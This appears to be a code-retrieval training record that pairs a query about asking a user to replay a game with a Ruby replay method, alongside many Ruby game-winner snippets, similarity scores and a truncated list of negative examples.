"def winner_message\n if @player1.lives > @player2.lives\n puts \"P1 wins with a score of #{@player1.lives}/3 \\n\"\n else\n puts \"P2 wins with a score of #{@player2.lives}/3 \\n\"\n end\n end",
"def print_final_message(name_player, win)\n if win\n puts \" #{name_player} you won\".colorize(:cyan)\n else\n puts \" #{name_player} you lost\".colorize(:light_red)\n end\n puts\nend",
"def display_winning_msg(winning_msg)\n case winning_msg\n when \"r\"\n puts \"Rock Smashes scissors\"\n when \"p\"\n puts \"Paper Wraps Rock\"\n when \"s\"\n puts \"Scissors cuts Paper\"\n end\nend",
"def winner\r\n if self.won? != false\r\n if self.current_player == \"X\"\r\n return \"O\"\r\n else\r\n return \"X\"\r\n end\r\n end\r\n end",
"def winning_message(player)\n case player\n when 'Paper'\n puts \"Paper wraps rock\"\n when 'Rock'\n puts \"Rock breaks scissors\"\n when 'Scissors'\n puts \"Scissors cuts paper\"\n end\nend",
"def display_win_message(winning_choice)\n case winning_choice\n when 'p'\n puts \"Paper covers Rock!\"\n when 'r'\n puts \"Rock smashes Scissors\"\n when 's'\n puts \"Scissors cuts Paper!\"\n end\nend",
"def display_winner_one_game(r)\n if r == 1\n puts \"#{@player_1_name} wins\"\n elsif r == 2\n puts \"#{@player_2_name} wins\"\n else\n puts \"Tie\"\n end\n end",
"def winner\n\tputs \" - WoooW #{@name} !!!! Tu m'impressionne, Tu as gagne !!! \"\n\tputs \" \"\n end",
"def winner(player, comp)\n return 'tie' if player == comp\n if player == 'rock'\n comp == 'scissors' ? 'player' : 'comp'\n elsif player == 'paper'\n comp == 'rock' ? 'player' : 'comp'\n else # player = scissors\n comp == 'rock' ? 'comp' : 'player'\n end\nend",
"def determine_game_winner(player1,player2)\n if player1.score > player2.score\n puts \"#{player1.name} is the winner!\"\n elsif player1.score < player2.score\n puts \"#{player2.name} is the winner!\"\n else\n puts \"It's a tie.\"\n end\nend",
"def show_results(win)\n if win\n puts \"Winner!\"\n elsif win == false\n puts \"Loser!\"\n else\n puts \"It's a tie\"\n end\nend",
"def winner\n store_person = winner_function\n store_combo = won?\n if store_combo == false\n return nil\n elsif store_person == \"X\"\n return \"X\"\n elsif store_person == \"O\"\n return \"O\"\n else\n return false\n end\n end",
"def PrintWinner\n if @winner == 'C'\n puts \"Sorry, cat's game.\"\n else\n if @player1.mark == @winner\n puts \"Congratulations! \" + @player1.name + \" wins!\"\n elsif @player2.mark == @winner and @player2.type == 'human'\n puts \"Congratulations! \" + @player2.name + \" wins!\"\n elsif @player2.mark == @winner and @player2.type == 'computer'\n #1 player, 'O' won. Do not congratulate player on computer victory.\n puts \"Sorry, \" + player2.name + \" wins.\"\n end\n end\n end",
"def get_tie_confirmation()\n return \"Both players tie with #{@player.get_weapon()}!\"\n end",
"def game_over_message(user_id)\n if board.status == :winner\n return \"You won!\" if board.winning_player == :player_1 && user_id == self.player_1_id\n return \"You won!\" if board.winning_player == :player_2 && user_id == self.player_2_id\n return \"You lost\"\n end\n return \"It's a tie\" if board.status == :tie\n 'Game in Progress'\n end",
"def winner\n\t\tputs @board[won?[0]] + \" Won the Game!\" \n\tend",
"def winner(p,c)\n if p == c\n output \"It's a Draw!\"\n elsif (\"#{p}\" == 'Rock' && \"#{c}\" == 'Paper')\n output \"Computer wins!\"\n elsif (\"#{p}\" == 'Paper' && \"#{c}\" == 'Scissors')\n output \"Computer wins!\"\n elsif (\"#{p}\" == 'Scissors' && \"#{c}\" == 'Rock')\n output \"Computer wins!\"\n else \"Player wins!\"\n end\nend",
"def determine_winner(player_one_selection, player_two_selection)\n if player_one_selection == player_two_selection\n outcome = \"\\nThis round was a tie. You both chose '#{player_one.move}'\"\n elsif player_one_selection == \"rock\" && player_two_selection == \"scissors\" ||\n player_one_selection == \"paper\" && player_two_selection == \"rock\" ||\n player_one_selection == \"scissors\" && player_two_selection == \"paper\"\n outcome = \"\\n#{player_one.name} won this round!\"\n @player_one.wins_round\n elsif player_two_selection == \"rock\" && player_one_selection == \"scissors\" ||\n player_two_selection == \"paper\" && player_one_selection == \"rock\" ||\n player_two_selection == \"scissors\" && player_one_selection == \"paper\"\n outcome = \"\\n#{player_two.name} won this round!\"\n @player_two.wins_round\n else\n puts \"\\nSomething strange happened here\"\n end\n outcome\n end",
"def get_winner(comp,user)\n\tif comp == user\n\t\t\"It was a tie!\"\n\telsif comp == \"rock\" && user == \"paper\"\n\t\t\"You win!\"\n\telsif comp == \"rock\" && user == \"scissors\"\n\t\t\"The computer wins!\"\n\telsif comp ==\"paper\" && user == \"rock\"\n\t\t\"The computer wins!\"\n\telsif comp == \"paper\" && user == \"scissors\"\n\t\t\"You win!\"\n\telsif comp == \"scissors\" && user == \"rock\"\n\t\t\"You win!\"\n\telsif comp == \"scissors\" && user == \"paper\"\n\t\"The computer wins!\"\n\tend\nend",
"def play_game(human, computer)\n winner = RULES[human][computer]\n if winner == human\n @won+=1\n puts game_complete_message(computer) + \"You win!\"\n elsif winner == computer\n @lost+=1\n puts game_complete_message(computer) + \"You lose.\"\n else\n @tie+=1\n puts game_complete_message(computer) + \"It's a tie.\"\n end\n puts \"you won #{@won} times.\\nyou lost #{@lost} times.\\nwe tied #{@tie} times.\\n\\n\"\n end",
"def the_winner(p1_score, p2_score)\n\tif p1_score >= 3\t\n\t\treturn \"Game over! Player 1 wins!\"\t\n\telsif p2_score >= 3\n\t\treturn \"Game over! Player 2 wins!\"\t\n\tend\nend",
"def print_outcome()\n\t\t#call compare players\n\t\t@outcome = compare_players(Array.new(5,true),0)\n\t\t#check for tie\n\t\tif @outcome == -1 then\n\t\t\tputs (\"Game was a tie\")\n\t\t#print outcome\n\t\telse\n\t\t\tputs (\"Player #{@players[@outcome].name} won\")\n\t\tend\n\tend",
"def win_?(one_two_ten) \n \n case one_two_ten\n when 0\n return \"\"\n\t\n delay(3)\n \n when 10\n 20.times{print \" \"};print \"Unsurprisingly, I've won this round.\\n\\n\"\n when 2\n 18.times{print \" \"};print \"A tie!? You won't be so lucky next time.\"\n when 1\n\tputs \"Hmm... you won this round. You seem a bit bored. Tired of me going easy on you?\\n\\n\"\n end\n \n end",
"def logic(c_choice, p_choice)\n\n\n # # ---------- TIE CHECK ---------- #\n if c_choice == p_choice\n\n return \"tie\"\n\n end\n # ---------- TIE CHECK END ---------- #\n\n ##########################################\n \n # ---------- WINNER CHECK ---------- #\n\n # Player win check !\n if @elements[p_choice] == c_choice\n\n return \"player win\"\n \n end\n \n # Computer check win !\n if @elements[c_choice] == p_choice\n\n return \"computer win\"\n\n end\n\n # ---------- WINNER CHECK END ---------- #\n\n end",
"def win_message(condition, board)\n if condition == \"draw\"\n puts\n puts \"Stalemate. I think an AI might have something to say about this...\"\n elsif condition == \"cheat_code\"\n puts\n puts \"Aww, thanks! Okay, I declare you the winner, #{board.winner}. :)\"\n elsif condition == \"win\"\n puts\n puts \"Congratulations, #{board.winner}! You are the winner!\"\n end\n replay_prompt\nend",
"def print_score\n puts 'Game Over'\n if @p1_score > @p2_score\n puts \"Congrats #{@player1} wins with #{@p1_score} correct sets\"\n else if @p2_score > @p1_score\n puts \"Congrats #{@player2} wins with #{@p2_score} correct sets\"\n else\n puts 'It a tie'\n\n end \n end \nend",
"def display_score(player_wins, computer_wins) # keeps track of number of wins for each side\n puts \"================================================\"\n if player_wins == MAXIMUM_WINS\n prompt(\"Congratulations, Player collected #{MAXIMUM_WINS} wins. Player won the entire game!\")\n elsif computer_wins == MAXIMUM_WINS\n prompt(\"Sorry, Computer has won #{MAXIMUM_WINS} times before you #sad_day\")\n else\n prompt(\"Current Score is #{player_wins}(User):#{computer_wins}(Computer)\")\n end\n puts \"================================================\"\nend",
"def display_results(man, cpu)\n if win?(man, cpu)\n prompt(\"#{man} against #{cpu}. You won!\")\n elsif win?(cpu, man)\n prompt(\"#{man} against #{cpu}. You lost!\")\n else\n prompt(\"#{man} against #{cpu}. It's a tie!\")\n end\nend",
"def show_winner\n if (@game.score(CPU_PLAYER) == @game.score(HUMAN_PLAYER))\n @message = \"Game over\\n\\n Its a DRAW people!!!\" \n elsif (@game.score(CPU_PLAYER)>@game.score(HUMAN_PLAYER))\n @message = \"Game over\\n\\nWINNER: #{CPU_PLAYER.upcase}!!!\"\n else\n @message = \"Game over\\n\\nWINNER: #{HUMAN_PLAYER.upcase}!!!\"\n end\n @message += \"\\n\\nBLACK SCORE:#{@game.score(HUMAN_PLAYER)}\\nWHITE SCORE:#{@game.score(CPU_PLAYER)}\"\n\n alert(\"#{@message}\")\nend",
"def play\n while !over?\n turn\n end\n won? ? (puts \"Congratulations #{@winner}!\") : (puts \"Cat's Game!\")\n\n end",
"def display_message(winning_choice)\n case winning_choice\n when 'p'\n puts \"Paper wraps rock!\"\n when 'r'\n puts \"Rock smashes scissors!\"\n when 's'\n puts \"Scissors cuts paper!\"\n end\nend",
"def winner\n won = won?()\n if won != false\n if @board[won[0]] == \"X\"\n return \"X\"\n elsif @board[won[0]] == \"O\"\n return \"O\"\n end\n else\n return nil\n end\n end",
"def wins\n win_arr = self.win_array\n \"#{self.full_name} has #{win_arr.length} wins.\"\n end",
"def winner\n if (@board == @word)\n if (@player_one_points > @player_two_points)\n puts \"Player one is the winner with #{@player_one_points} points! Player two lost with #{@player_two_points} points.\"\n else\n puts \"Player two is the winner with #{@player_two_points} points! Player one lost with #{@player_one_points} points.\"\n end\n end\n end",
"def wins_game?\n if @player1.score == 'win'\n return @player1\n elsif @player2.score == 'win'\n return @Player2\n else\n return \"The score is currently, Player1: #{player1.score} to Player2: #{player2.score}.\"\n end\n end",
"def check_win_or_lose\n \n if word_with_guesses == @word\n return :win\n elsif @wrong_guesses.length >= 7 \n return :lose\n else \n return :play\n end\n \n end",
"def rps(p1, p2)\n return 'Player 1 won!' if p1 == 'scissors' && p2 == 'paper'\n return 'Player 1 won!' if p1 == 'paper' && p2 == 'rock'\n return 'Player 1 won!' if p1 == 'rock' && p2 == 'scissors'\n return 'Draw!' if p1 == p2\n # Otherwise player 2 wins...\n 'Player 2 won!'\nend",
"def check_win(person1, person2)\n case person1\n when 'rock'\n if person2 == 'scissor'\n return \"Player 1 wins by playing #{person1}!\"\n elsif\n person2 == 'paper'\n return \"Player2 wins by playing #{person2}!\"\n else return \"Draw!\"\n end\n when 'scissor'\n if person2 == 'paper'\n return \"Player 1 wins by playing #{person1}!\"\n elsif\n person2 == 'rock'\n return \"Player2 wins by playing #{person2}!\"\n else return \"Draw!\"\n end\n when 'paper'\n if person2 == 'rock'\n return \"Player 1 wins by playing #{person1}!\"\n elsif\n person2 == 'scissor'\n return \"Player2 wins by playing #{person2}!\"\n else return \"Draw!\"\n end\n end\n end",
"def winner\n count1, count2 = @cups[6].count, @cups[13].count\n if count1 > count2\n @name1\n elsif count2 > count1\n @name2\n else\n :draw\n end\n end",
"def winner_of_match\n puts \"#{@p1.name}: #{@p1.score}\"\n puts \"#{@p2.name}: #{@p2.score}\"\n if @p1.score > @p2.score\n puts \"#{@p1.name} is the winner of the match!\"\n elsif @p2.score > @p1.score\n puts \"#{@p2.name} is the winner of the match!\"\n else\n puts \"#{@p1.name} and #{@p2.name} had the same score. The match is a tie!\"\n end\n end",
"def winner\n $the_win_comb = { flash_straight: flash_straight, for_of_kind: four_of_kind, full_house: full_house,\n flush: flush, straight: straight, three: three, two_pair: two_pair,\n one_pair: one_pair, high_card: high_card }\n puts \"\\n The highest winner combinations and cards are - \"\n $the_win_comb.each { |comb, ans| return puts comb.upcase, $the_win_comb[comb], ' ' unless ans.nil?}\n end",
"def score\n return 'love' if love?\n return \"fifteen\" if fifteen?\n return \"thirty\" if thirty?\n return \"forty\" if forty?\n return \"deuce\" if deuce?\n return \"advantage\" if advantage?\n return \"win\" if win?\n end",
"def win\n # horizontal win\n winner = horizontal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Vertical win (way harder to test for)\n winner = vertical_win?\n if winner\n victory(winner)\n return winner\n end\n\n # Diagonal win\n winner = diagonal_win?\n if winner\n victory(winner)\n return winner\n end\n\n # If the board is full and there are no declared winners\n\n if full?\n victory(\"Nobody\")\n return \"tie\"\n end\n return false\n end",
"def whoWon(p1weapon, p2weapon)\n\n\tif p1weapon === p2weapon\n\t\twinnerResult = \"It's a tie!\"\n\t\tputs(winnerResult)\n\t\tputs \"The score is currently \" + $player1Score.to_s + \" to \" + $player2Score.to_s + \".\"\n\t\tstartGame\n\t\treturn winnerResult\n\tend\t\n\n\tif (p1weapon === \"rock\" && p2weapon === \"scissors\") || (p1weapon === \"scissors\" && p2weapon === \"paper\") || (p1weapon === \"paper\" && p2weapon === \"rock\")\n\t\twinnerResult = \"Player 1 wins!!!\"\n\t\tputs(winnerResult)\n\t\taddScore(winnerResult)\n\t\treturn winnerResult\n\tend\n\n\tif (p2weapon === \"rock\" && p1weapon === \"scissors\") || (p2weapon === \"scissors\" && p1weapon === \"paper\") || (p2weapon === \"paper\" && p1weapon === \"rock\")\n\t\twinnerResult = \"Player 2 wins!!!\"\n\t\tputs(winnerResult)\n\t\taddScore(winnerResult)\n\t\treturn winnerResult\n\tend\nend",
"def winner\n if won?\n puts \"Player #{@winner} has won the game!\"\n return @winner\n else\n puts \"No winner yet!\"\n end\n end",
"def new_game(p1, p2)\n x = determine_winner(p1, p2)\n if x != \"Tie\"\n puts \"The winner of the game is #{x}!\"\n else\n puts \"It was a tie!\"\n end\n end",
"def determine_winner\n if @current_moves[0] == @current_moves[1]\n \t\tputs \"We have a tie!\"\n \telsif ((@current_moves[0] == \"Rock\") && (@current_moves[1] == \"Scissors\")) \n \t\tputs \"#{player_1.name} wins - #{@current_moves[0]} crushes #{@current_moves[1]}\"\n @winner = @player_1\n player_1.games_won\n \telsif ((@current_moves[0] == \"Scissors\") && (@current_moves[1] == \"Paper\")) \n \t\tputs \"#{player_1.name} wins - #{@current_moves[0]} cuts #{@current_moves[1]}\"\n @winner = @player_1\n player_1.games_won\n \telsif ((@current_moves[0] == \"Paper\") && (@current_moves[1] == \"Rock\"))\n \t\tputs \"#{player_1.name} wins - #{@current_moves[0]} covers #{@current_moves[1]}\"\n @winner = @player_1\n player_1.games_won\n \telse\n \t\tputs \"#{player_2.name} wins - #{@current_moves[1]} beats #{@current_moves[0]}\"\n @winner = @player_2\n player_2.games_won\n \tend\n end",
"def report_winner\n\t\tif reason = won_by?(:hunter)\n\t\t\tputs \"\\n\\nHunter (#{@hunter.username}) wins (#{reason}) at turn #{@current_turn}\\n\\n\"\n\t\t\t@hunter.write(\"GAMEOVER #{current_round} WINNER HUNTER #{reason}\")\n\t\t\t@prey.write(\"GAMEOVER #{current_round} LOSER PREY #{reason}\")\n\t\t\t@spectators.each{|s| s.puts \"GAMEOVER #{current_round} WINNER HUNTER #{reason}\"}\n\t\t\treturn {:winner => @hunter.username, :role => \"Hunter\", :time => current_round, :reason => reason}\n\t\telsif reason = won_by?(:prey)\n\t\t\tputs \"\\n\\Prey (#{@prey.username}) wins (#{reason}) at turn #{@current_turn}\\n\\n\"\n\t\t\t@hunter.write(\"GAMEOVER #{current_round} LOSER HUNTER #{reason}\")\n\t\t\t@prey.write(\"GAMEOVER #{current_round} WINNER PREY #{reason}\")\n\t\t\t@spectators.each{|s| s.puts \"GAMEOVER #{current_round} WINNER PREY #{reason}\"}\n\t\t\treturn {:winner => @prey.username, :role => \"Prey\", :time => current_round, :reason => reason}\n\t\tend\n\tend",
"def win(pick_w)\n case pick_w \n when 'r' \n puts \"You: Rock | Me: Scissors\"\n when 'p'\n puts \"you: Paper | Me: Rock\"\n when 's'\n puts \"you: Scissors | Me: Paper\"\n end\nend",
"def winning_msg(player_input, computer_input)\n puts \"You chose #{player_input} and the computer chose #{computer_input}. \\n You win!\"\nend",
"def rock_battle\n if computer_rand == \"p\"\n puts \"Paper beats rock.\"\n puts \"The computer won.\"\n elsif computer_rand == \"s\"\n puts \"Rock beats scissors.\"\n puts \"You won!\"\n end\nend",
"def score\n p1_score = players.first.score \n p2_score = players[1].score\n\n if p1_score == p2_score\n score_word = SCORE_NUMBER_TO_WORD_MAP[0..-2][p1_score]\n return score_word ? score_word + \"-All\" : \"Deuce\"\n elsif p1_score <= 3 && p2_score <= 3\n return players.map{|player| SCORE_NUMBER_TO_WORD_MAP[player.score] }.join(\"-\")\n else\n winning_player = players.sort{|a, b| a.score <=> b.score}.last\n return (p1_score - p2_score).abs == 1 ? \"Advantage #{winning_player.name}\" : \"Win for #{winning_player.name}\"\n end\n end",
"def check_win_or_lose\n if !@word_with_guesses.include?(\"-\")\n return :win\n elsif @word_with_guesses.include?(\"-\") && @attempts >= 8\n return :lose\n else \n return :play \n end\n end",
"def win_player(a)\n\t\tif a == \"égale\"\n\t\t\tputs \"***************************\".colorize(:yellow) \n\t\t\tputs \"EGALITEE\".colorize(:yellow) \n\t\t\tputs \"***************************\".colorize(:yellow) \n\t\telse\n\t\t\tputs \"***************************\".colorize(:yellow) \n\t\t\tputs \"#{a.upcase} WIN !!\".colorize(:yellow) \n\t\t\tputs \"***************************\".colorize(:yellow) \n\t\tend\n\tend",
"def display_winner\n\t\tif @player_one.return_number_of_win > @player_two.return_number_of_win # on fait une condition qui compare le nombre de victoire des joueurs pour savoir lequel a gagner la partie\n\t\t\tputs \"\\n\\n\\nBravo #{@player_one.return_name.colorize(:green)} Vous avez battu #{@player_two.return_name.colorize(:red)}\"\n\t\telsif @player_one.return_number_of_win < @player_two.return_number_of_win\n\t\t\tputs \"\\n\\n\\nBravo #{@player_two.return_name.colorize(:green)} Vous avez battu #{@player_one.return_name.colorize(:red)}\"\n\t\telse\n\t\t\tputs \"\\n\\n\\nBravo #{@player_two.return_name.colorize(:blue)} et #{@player_one.return_name.colorize(:blue)} Vous avez fait un match nul!\"\n\t\tend\n\tend",
"def get_winner_message (winner)\n\t\tif winner.length == 1\n\t\t return \"The winner is #{winner[0]}\"\n\t\telse\n\t\t\twinner_message = \"The winners are: \"\n\t\t winner.each do |winner|\n\t\t\t winner_message += \"#{winner}, \"\n\t\t\tend\n\t\t\twinner_message.chomp(', ')\n\t\tend\n\tend",
"def print_win\n puts \"Wow! You did it, the word is #{@random_word}! You guessed the word & you WIN!\"\n end",
"def display_what_beats_what\n if human.choice == 'rock' && computer.choice == 'scissors' ||\n human.choice == 'scissors' && computer.choice == 'rock'\n puts 'Rock crushes scissors!'\n elsif human.choice == 'rock' && computer.choice == 'lizard' ||\n human.choice == 'lizard' && computer.choice == 'rock'\n puts 'Rock crushes lizard!'\n elsif human.choice == 'paper' && computer.choice == 'rock' ||\n human.choice == 'rock' && computer.choice == 'paper'\n puts 'Paper covers rock!'\n elsif human.choice == 'paper' && computer.choice == 'spock' ||\n human.choice == 'spock' && computer.choice == 'paper'\n puts 'Paper disproves Spock!'\n elsif human.choice == 'scissors' && computer.choice == 'paper' ||\n human.choice == 'paper' && computer.choice == 'scissors'\n puts 'Scissors cut paper!'\n elsif human.choice == 'scissors' && computer.choice == 'lizard' ||\n human.choice == 'sizard' && computer.choice == 'scissors'\n puts 'Scissors decapitates lizard!'\n elsif human.choice == 'lizard' && computer.choice == 'spock' ||\n human.choice == 'spock' && computer.choice == 'lizard'\n puts 'Lizard poisons Spock!'\n elsif human.choice == 'lizard' && computer.choice == 'paper' ||\n human.choice == 'paper' && computer.choice == 'lizard'\n puts 'Lizard eats paper!'\n elsif human.choice == 'spock' && computer.choice == 'rock' ||\n human.choice == 'rock' && computer.choice == 'spock'\n puts 'Spock vaporizes rock!'\n elsif human.choice == 'spock' && computer.choice == 'scissors' ||\n human.choice == 'scissors' && computer.choice == 'spock'\n puts 'Spock smashes scissors!'\n end\n end",
"def someoneWin?\n player = nil\n @@winCases.each { |a|\n player = @board[a[0]]\n if (player != \" \") && (@board[a[0]] == @board[a[1]]) && (@board[a[1]] == @board[a[2]])\n (0..2).each { |n| @board[a[n]].upcase! }\n puts \"We have a WINNER! ----> \" + player\n return player\n end\n }\n return false\n end",
"def score\n return 'love' if @points == 0\n return 'fifteen' if @points == 1\n return 'thirty' if @points == 2\n return 'duece' if @points == 3 && @opponent.points == 3\n return 'forty' if @points == 3\n game_won?\n end",
"def winner\n #return token x or o that won the game\n won = \" \"\n if winner = won?\n won = @board[winner.first]\n end\nend",
"def winner()\n if won?()\n win = won?()\n if @board[win[0]] == \"X\"\n return \"X\"\n elsif @board[win[0]] == \"O\"\n return \"O\"\n else @board[win[0]] != \"X\" && @board[win[0]] != \"O\" #srsly..this is like ducttape over a huge hole\n return nil\n end\n end\nend",
"def win_message\n puts \"Player #{@id.to_s} (#{@piece}) wins!\"\n end",
"def you_win(winner)\n `say \"Congratulation! YOU WON, #{winner} was the 1st one!\"`\nend",
"def show_results(user, comp)\n if winner(user, comp)\n say 'You won that round!'\n elsif winner(comp, user)\n say 'The computer won that round..'\n else\n say 'That round was a TIE'\n end\nend",
"def player_or_computer(board, winner)\n return nil if board[winner] == BLANK_SQUARE\n if board[winner] == PLAYER_PIECE\n inc_score(board, 'player')\n return 'You win!'\n else\n inc_score(board, 'computer')\n return 'Computer wins!'\n end\nend",
"def winner\n won = \"\"\n if winner = won?\n won = @board[winner.first]\n end\n end",
"def display_winner\n puts \"#{human.name} chose #{human.move}.\"\n puts \"#{computer.name} chose #{computer.move}.\"\n\n if human.move > computer.move # this is actually an instance method call on the `Move` obj: `if human.move.>(computer.move)`, and this method `>` needs to be defined for the `Move` class\n puts \"#{human.name} won!\"\n elsif human.move < computer.move\n puts \"#{computer.name} won!\"\n else\n puts \"It's a tie!\"\n end\n\n # case human.move\n # when 'rock'\n # puts \"It's a tie!\" if computer.move == 'rock'\n # puts \"#{human.name} won!\" if computer.move == 'scissors'\n # puts \"#{computer.name} won!\" if computer.move == 'paper'\n # when 'paper'\n # puts \"It's a tie!\" if computer.move == 'paper'\n # puts \"#{human.name} won!\" if computer.move == 'rock'\n # puts \"#{computer.name} won!\" if computer.move == 'scissors'\n # when 'scissors'\n # puts \"It's a tie!\" if computer.move == 'scissors'\n # puts \"#{human.name} won!\" if computer.move == 'paper'\n # puts \"#{computer.name} won!\" if computer.move == 'rock'\n # end\n end",
"def score\n return 'win' if (@points >= 4 && @points >= opponent.points + 2)\n return 'deuce' if (@points >= 3 && @points == opponent.points)\n return 'advantage' if (@points >= 3 && @points == opponent.points + 1)\n return 'love' if @points == 0\n return 'fifteen' if @points == 1\n return 'thirty' if @points == 2\n return 'forty' if @points == 3\n end",
"def print_scores_and_determine_winner\n tie = false\n puts \"\\nScores:\"\n winner = @players[0]\n (0..num_players - 1).each do |i|\n puts \"\\n#{@players[i].name} : #{@players[i].score}\"\n tie = @players[i].score == winner.score\n winner = @players[i] if @players[i].score > winner.score\n end\n\n puts \"\\nIt was a tie!\" if tie == true\n puts 'Congratulations ' + winner.name + \"!! You win!!\\n\" if tie == false\n end",
"def user_won?(answer, ai)\n (answer.downcase == \"rock\" && ai.downcase == 'scissors') ||\n (answer.downcase == \"paper\" && ai.downcase == 'rock') ||\n (answer.downcase == \"scissors\" && ai.downcase == 'paper')\n end",
"def play_game\n display_header\n user = collect_and_validate_input \"Choose a Play (R/P/S)\", :play\n computer = %w(R P S).sample\n \n # determine who won this round\n display_header\n string = case user\n when computer\n \"It's a TIE!!!\"\n when \"P\"\n computer == \"R\" ? \"Paper covers rock! YOU WIN!\" : \"Scissors cut paper! Computer Wins!\"\n when \"R\"\n computer == \"S\" ? \"Rock breaks scissors! YOU WIN!\" : \"Paper covers Rock! Computer Wins!\"\n when \"S\"\n computer == \"P\" ? \"Scissors cut paper! YOU WIN!\" : \"Rock breaks scissors! Computer Wins!\"\n end\n puts string\n \n # ask the user if they wish to play again\n again = (collect_and_validate_input \"Would you like to go again? (Y/N)\", :again).upcase\n again == \"Y\" ? play_game : (puts \"Thanks for playing!\")\nend",
"def winner(answer, computers_answer)\n if (answer.downcase == 'rock') && (computers_answer.downcase == 'paper')\n puts 'YOU LOSE'\n elsif (answer.downcase == 'paper') && (computers_answer.downcase == 'rock')\n puts 'WINNER'\n elsif (answer.downcase == 'paper') && (computers_answer.downcase == 'scissors')\n puts 'You Lose'\n elsif (answer.downcase == 'scissors') && (computers_answer.downcase == 'paper')\n puts 'WINNER'\n elsif (answer.downcase == 'scissors') && (computers_answer.downcase == 'rock')\n puts 'You Lose'\n elsif (answer.downcase == 'rock') && (computers_answer.downcase == 'scissors')\n puts 'Winner'\n else\n puts 'You both tied. Go again.'\n rock_paper_scissors_game\n exit\n end\n end",
"def winner\n if current_player.marker == \"X\"\n return \"O\"\n else\n return \"X\"\n end\n end",
"def is_game_over?; won_by?(:hunter) || won_by?(:prey) end"
] |
[
"0.8172127",
"0.77174723",
"0.7501867",
"0.74784404",
"0.7442822",
"0.74369466",
"0.73310965",
"0.73306316",
"0.7317713",
"0.73019964",
"0.72794193",
"0.72735095",
"0.7266918",
"0.7241502",
"0.72211546",
"0.7199557",
"0.71855134",
"0.7175772",
"0.71446514",
"0.7143359",
"0.7131972",
"0.71111506",
"0.70948845",
"0.70871913",
"0.705544",
"0.7041471",
"0.7029323",
"0.70008665",
"0.6999287",
"0.6985926",
"0.697784",
"0.69743407",
"0.6972764",
"0.6963519",
"0.6940717",
"0.69314754",
"0.6930236",
"0.6913866",
"0.6902223",
"0.68965936",
"0.6888039",
"0.6881875",
"0.687488",
"0.6863133",
"0.68516344",
"0.68467927",
"0.6842634",
"0.68208057",
"0.68194914",
"0.6809824",
"0.68058425",
"0.67934144",
"0.6786177",
"0.6773202",
"0.67656314",
"0.67541766",
"0.6752273",
"0.67521226",
"0.6742215",
"0.6737658",
"0.672759",
"0.67271394",
"0.67255795",
"0.6703976",
"0.6688067",
"0.66738987",
"0.66573733",
"0.6649761",
"0.6642624",
"0.6640024",
"0.6638282",
"0.6634877",
"0.6631536",
"0.6624268",
"0.6624103",
"0.66144973",
"0.66081077",
"0.66035944",
"0.65963984",
"0.6588609",
"0.65866554",
"0.65855116",
"0.6584523",
"0.6582358",
"0.65711933",
"0.65633243",
"0.6562842",
"0.6562802",
"0.6559269",
"0.65491605",
"0.65487593",
"0.65438056",
"0.65217257",
"0.65195245",
"0.6517677",
"0.6517212",
"0.6514993",
"0.6509704",
"0.65077835",
"0.6505673"
] |
0.66178316
|
75
|
asking whether the user wants to play again
|
def replay
puts "Would you like to play again? Please respond with yes or no."
answer = gets.chomp
if answer == "yes"
puts "Ready?...Go!"
play_game
elsif answer == "no"
puts "Alright then. Thank you for playing! OuO/"
else
puts "You didn't put neither 'yes' or 'no'. Let me ask you again."
replay
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def play_again?\r\n bool_input \"Play again?\"\r\n end",
"def play_again\n\tprint \"Would you like to play again? (y/n)\"\n end",
"def play_again?\n puts \"WOULD YOU LIKE TO PLAY AGAIN?\"\n puts 'Y/N?'\n response = gets.chomp\n if response.upcase == 'Y'\n @restart = true\n else\n @restart = false\n end\n end",
"def play_again?\r\n tab(4, \"Press 'y' to play again.\")\r\n tab(7, \"Press 'q' to quit.\", \"\\n\")\r\n @key = STDIN.getch\r\n end",
"def play_again?\nend",
"def play_again\n\t\t\tputs \"\\n Would you like to play again? y/n\"\n\t\t\tanswer = gets.chomp.downcase\n\n\t\t\tif answer == (\"y\" || \"yes\")\n\t\t\t\tGame.new.play\n\t\t\telse\n\t\t\t\tputs \"\\n Thank you for playing!\"\n\t\t\tend\n\t\tend",
"def play_again?\n print \"\\nDo you wish to play again? Y/N:\\n\"\n input = gets.chomp.downcase\n\n case input\n when \"y\"\n sleep 1\n self.clear()\n hangman = Game.new\n hangman.display()\n hangman.prompt_player()\n when \"n\"\n print \"\\n\\n Goodbye!!! \\n\\n\".send(:yellow).send(:bold)\n else\n self.clear()\n play_again?()\n end\n end",
"def play_again?\n puts 'Would you like to play again? (y/n)'\n answer = gets.chomp\n if answer == 'y'\n system 'clear'\n Display.new\n elsif answer == 'n'\n system 'clear'\n system 'exit'\n else\n play_again?\n end\n end",
"def play_again\n divider2\n puts \"Do you want to play again? (y/n)\"\n @pinput = gets.strip.downcase\n if @pinput == \"no\" || @pinput == \"n\"\n puts \"Thanks for Playing!\"\n elsif @pinput == \"yes\" || @pinput == \"y\"\n play\n else\n play_again\n end\n end",
"def play_again_prompt\n typing_tabbed(\"txt/play_again.txt\")\n tab; print \" >> \"\n play_again = gets.chomp.downcase\n\n if play_again == 'y'\n Mastermind.new.play\n elsif play_again == \"n\"\n tab; \"Acknowledged\\n\".typing\n tab; \"--THIS DEVICE WILL SELF DESTRUCT IN 3 SECONDS--\\n\".typing\n tab; (1..3).reverse_each { |n| \"#{n}..\".typing ; sleep 0.9}\n line\n\n abort\n else\n play_again_prompt\n end\n end",
"def p_again\n \n\n\tputs\n\tputs \"Shoot again? (y/n):\"\n\tputs\n\tchoice2 = gets.chomp.downcase\n\tputs\n\n\tcase choice2\n\t\twhen \"y\"\n\n\t\t\t$play = \"y\"\n\t\telse\n\n\t\t\t$play = \"n\"\n\tend\n\nend",
"def play_again\n\t\tputs \"\"\n\t\tputs \"Would you like to play again? Press 'Y' to start a new game, or 'N' to quit.\"\n\t\tinput = gets.chomp.upcase\n\t\tif input == 'Y'\n\t\t\tclear_screen\n\t\t\tset_game_variables\n\t\t\tgame_engine\n\t\telsif input == 'N'\n\t\t\tabort(\">Exiting game<\")\n\t\telse\n\t\t\terror\n\t\t\tplay_again\n\t\tend\n\tend",
"def play_again\n puts \"Want to play again?\"\n answer = gets.chomp.upcase\n if answer == \"Y\"\n new_game\n else\n puts \"Thanks for playing, come back again!\"\n end\n end",
